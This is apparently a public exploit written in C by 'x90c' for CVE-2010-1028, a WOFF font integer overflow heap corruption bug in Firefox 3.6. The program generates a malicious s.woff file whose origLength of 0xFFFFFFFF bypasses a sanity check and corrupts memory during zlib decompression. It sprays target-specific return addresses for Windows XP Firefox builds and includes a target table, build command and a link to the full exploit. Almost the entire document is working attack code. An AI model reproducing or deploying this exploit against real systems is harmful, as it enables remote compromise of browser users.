#include <stdio.h> #include <stdlib.h> #include <string.h> #include <zlib.h>    /*     x90c WOFF 1day exploit        (MFSA2010-08 WOFF Heap Corruption due to Integer Overflow 1day exploit)        CVE-ID: CVE-2010-1028        Full Exploit: http:/www.exploit-db.com/sploits/27698.tgz        Affacted Products:         - Mozilla Firefox 3.6 ( Gecko 1.9.2 )         - Mozilla Firefox 3.6 Beta1, 3, 4, 5 ( Beta2 ko not released )         - Mozilla Firefox 3.6 RC1, RC2        Fixed in:         - Mozilla Firefox 3.6.2 ( after 3.6 version this bug fixed )         security bug credit: Evgeny Legerov < intevydis.com >         Timeline:         2010.02.01 - Evengy Legerov Initial discovered and shiped it into                      "Immunity 3rd Party Product VulnDisco 9.0"         2010.02.18 - without reporter, it self analyzed                      and contact to mozilla and secunia before advisory reporting         2010.03.19 - CVE registered         2010.03.22 - Mozilla advisory report         2010.04.01 - x90c exploit (x90c.org)         Compile:     [root@centos5 woff]# gcc CVE-2010-1028_exploit.c -o CVE-2010-1028_exploit -lz           rebel: greets to my old l33t hacker dude in sweden     ... BSDaemon: and Invitation of l33t dude for exploit share     #phrack@efnet, #social@overthewire           x90c        */   typedef unsigned int    UInt32; typedef unsigned short  UInt16;    /*     for above two types, some WOFF header struct uses big-endian byte order. */   typedef struct{     UInt32  signature;     UInt32  flavor;     UInt32  length;     UInt16  numTables;     UInt16  reserved;     UInt32  totalSfntSize;     UInt16  majorVersion;     UInt16  minorVersion;     UInt32  metaOffset;     UInt32  metaLength;     UInt32  metaOrigLength;     UInt32  privOffset;     UInt32  privLength; } WOFF_HEADER;     typedef struct{     UInt32  tag;     UInt32  offset;     UInt32  compLength;     UInt32  origLength;     UInt32  origChecksum; } WOFF_DIRECTORY;    #define FLAVOR_TRUETYPE_FONT    0x0001000 #define FLAVOR_CFF_FONT         0x4F54544F    struct ff_version {     int num;     char *v_nm;     unsigned long addr; };    struct ff_version plat[] = { {     0, "Win XP SP3 ko - FF 3.6", 0x004E18ED }, {     1, "Win XP SP3 ko - FF 3.6 Beta1", 0x004E17BD }, {     2, "Win XP SP3 ko - FF 3.6 Beta3", 0x004E193D }, {     3, "Win XP SP3 ko - FF 3.6 Beta4", 0x004E20FD }, {     4, "Win XP SP3 ko - FF 3.6 Beta5", 0x600A225D }, {     5, "Win XP SP3 ko - FF 3.6 RC1", 0x004E17BD }, {     6, "Win XP SP3 ko - FF 3.6 RC2", 0x004E18ED }, {     0x00, NULL, 0x0 } };    void usage(char *f_nm) {     int i = 0;        fprintf(stdout, "\n Usage: %s [Target ID]\n\n", f_nm);            for(i = 0; plat[i].v_nm != NULL; i++)         fprintf(stdout, "\t{%d} %s. \n", (plat[i].num), (plat[i].v_nm));        exit(-1); }    int main(int argc, char *argv[]) {     WOFF_HEADER    woff_header;     WOFF_DIRECTORY woff_dir[1];     FILE *fp;     char dataBlock[1024];     char compressed_dataBlock[1024];     char de_buf[1024];     int total_bytes = 0, total_dataBlock = 0;       unsigned long destLen = 1024;     unsigned long de_Len = 1024;     unsigned long i = 0;     unsigned long addr_saved_ret_val = 0;     int ret = 0;     int n = 0;        if(argc < 2)         usage(argv[0]);        n = atoi(argv[1]);        if(n < 0 || n > 6)     {         fprintf(stderr, "\nTarget number range is 0-6!\n");         usage(argv[0]);     }        printf("\n#### x90c WOFF exploit ####\n");     printf("\nTarget: %d - %s\n\n", (plat[n].num), (plat[n].v_nm));        // WOFF HEADER     woff_header.signature = 0x46464F77;         // 'wOFF' ( L.E )     woff_header.flavor = FLAVOR_TRUETYPE_FONT;  // sfnt version ( B.E )     woff_header.length = 0x00000000;            // woff file total length ( B.E )     woff_header.numTables = 0x0100;             // 0x1 - woff dir entry length ( B.E )     woff_header.reserved = 0x0000;              // res bit ( all zero )        // totalSFntSize value will bypass validation condition after integer overflow     woff_header.totalSfntSize = 0x1C000000;     // 0x0000001C ( B.E )     woff_header.majorVersion = 0x0000;          // major version     woff_header.minorVersion = 0x0000;          // minor version     woff_header.metaOffset = 0x00000000;        // meta data block offset ( not used )     woff_header.metaLength = 0x00000000;        // meta data block length ( not used )     woff_header.metaOrigLength = 0x00000000;    // meta data block before-compresed length ( not used )     woff_header.privOffset = 0x00000000;        // Private data block offset ( not used )     woff_header.privLength = 0x00000000;        // Private data block length        woff_dir[0].tag = 0x54444245;               // 'EBDT' ( B.E )     woff_dir[0].offset = 0x40000000;            // 0x00000040 ( B.E )     woff_dir[0].compLength = 0x00000000;        // ( B.E )        // to trigger field bit.     // 0xFFFFFFF8-0xFFFFFFFF value to trigger integer overflow.     // 1) calculation result is 0, it's bypass to sanityCheck() function     // 2) passed very long length into zlib Decompressor, it's trigger memory corruption!        // 0xFFFFFFFD-0xFFFFFFFF: bypass sanityCheck()     // you can use only the value of 0xFFFFFFFF ( integer overflow!!! )     // you can't using other values to bypass validation condition     woff_dir[0].origLength = 0xFFFFFFFF;        // 0xFFFFFFFF ( B.E )        printf("WOFF_HEADER     [ %d bytes ]\n", sizeof(WOFF_HEADER));     printf("WOFF_DIRECTORY  [ %d bytes ]\n", sizeof(WOFF_DIRECTORY));        // to compress data block     // [ 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c ... ]     // ...JIT spray stuff...        addr_saved_ret_val = plat[n].addr;     addr_saved_ret_val += 0x8;  // If add 8bytes it reduced reference error occurs        for(i = 0; i < sizeof(dataBlock); i+=4)  // 0x004E18F5     {         dataBlock[i+0] = (addr_saved_ret_val & 0x000000ff);         dataBlock[i+1] = (addr_saved_ret_val & 0x0000ff00) >> 8;         dataBlock[i+2] = (addr_saved_ret_val & 0x00ff0000) >> 16;         dataBlock[i+3] = (addr_saved_ret_val & 0xff000000) >> 24;     }        // compress dataBlock with zlib's compress()     if(compress((Bytef *)compressed_dataBlock,                  (uLongf *)&destLen,                  (Bytef *)dataBlock,                  (uLong)(sizeof(dataBlock))                  ) != Z_OK)     {         fprintf(stderr, "Zlib compress failed!\n");         exit(-1);     }            printf("\nZlib compress(dataBlock) ...\n");     printf("DataBlock                   [ %u bytes ]\n", sizeof(dataBlock));     printf("Compressed DataBlock        [ %u bytes ]\n", destLen);     printf("[ Z_OK ]\n\n");        total_bytes = sizeof(WOFF_HEADER) +                   sizeof(WOFF_DIRECTORY) +                   destLen;        total_dataBlock = destLen;        printf("Total WOFF File Size: %d bytes\n", total_bytes);            // byte order change to total_bytes, total_dataBlock ( L.E into B.E )     total_bytes =         ((total_bytes & 0xff000000) >> 24) |         ((total_bytes & 0x00ff0000) >> 8) |         ((total_bytes & 0x0000ff00) << 8) |         ((total_bytes & 0x000000ff) << 24);     woff_header.length = total_bytes;        total_dataBlock =         ((total_dataBlock & 0xff000000) >> 24) |         ((total_dataBlock & 0x00ff0000) >> 8) |         ((total_dataBlock & 0x0000ff00) << 8) |         ((total_dataBlock & 0x000000ff) << 24);        woff_dir[0].compLength = total_dataBlock;        // create attack code data     if((fp = fopen("s.woff", "wb")) < 0)     {         fprintf(stderr, "that file to create open failed\n");         exit(-2);     }        // setup WOFF data store     fwrite(&woff_header, 1, sizeof(woff_header), fp);     fwrite(&woff_dir[0], 1, sizeof(woff_dir[0]), fp);     fwrite(&compressed_dataBlock, 1, destLen, fp);        fclose(fp);        // zlib extract test     ret = uncompress(de_buf, &de_Len, compressed_dataBlock, destLen);     if(ret != Z_OK)     {         switch(ret)         {             case Z_MEM_ERROR:                 printf("Z_MEM_ERROR\n");                        break;             case Z_BUF_ERROR:                 printf("Z_BUF_ERROR\n");                 break;             case Z_DATA_ERROR:                 printf("Z_DATA_ERROR\n");                 break;         }            fprintf(stderr, "Zlib uncompress test failed!\n");         unlink("./s.woff");         exit(-3);     }        printf("\nZlib uncompress test(compressed_dataBlock) ...\n");     printf("[ Z_OK ]\n\n");        return 0; }    /* eof */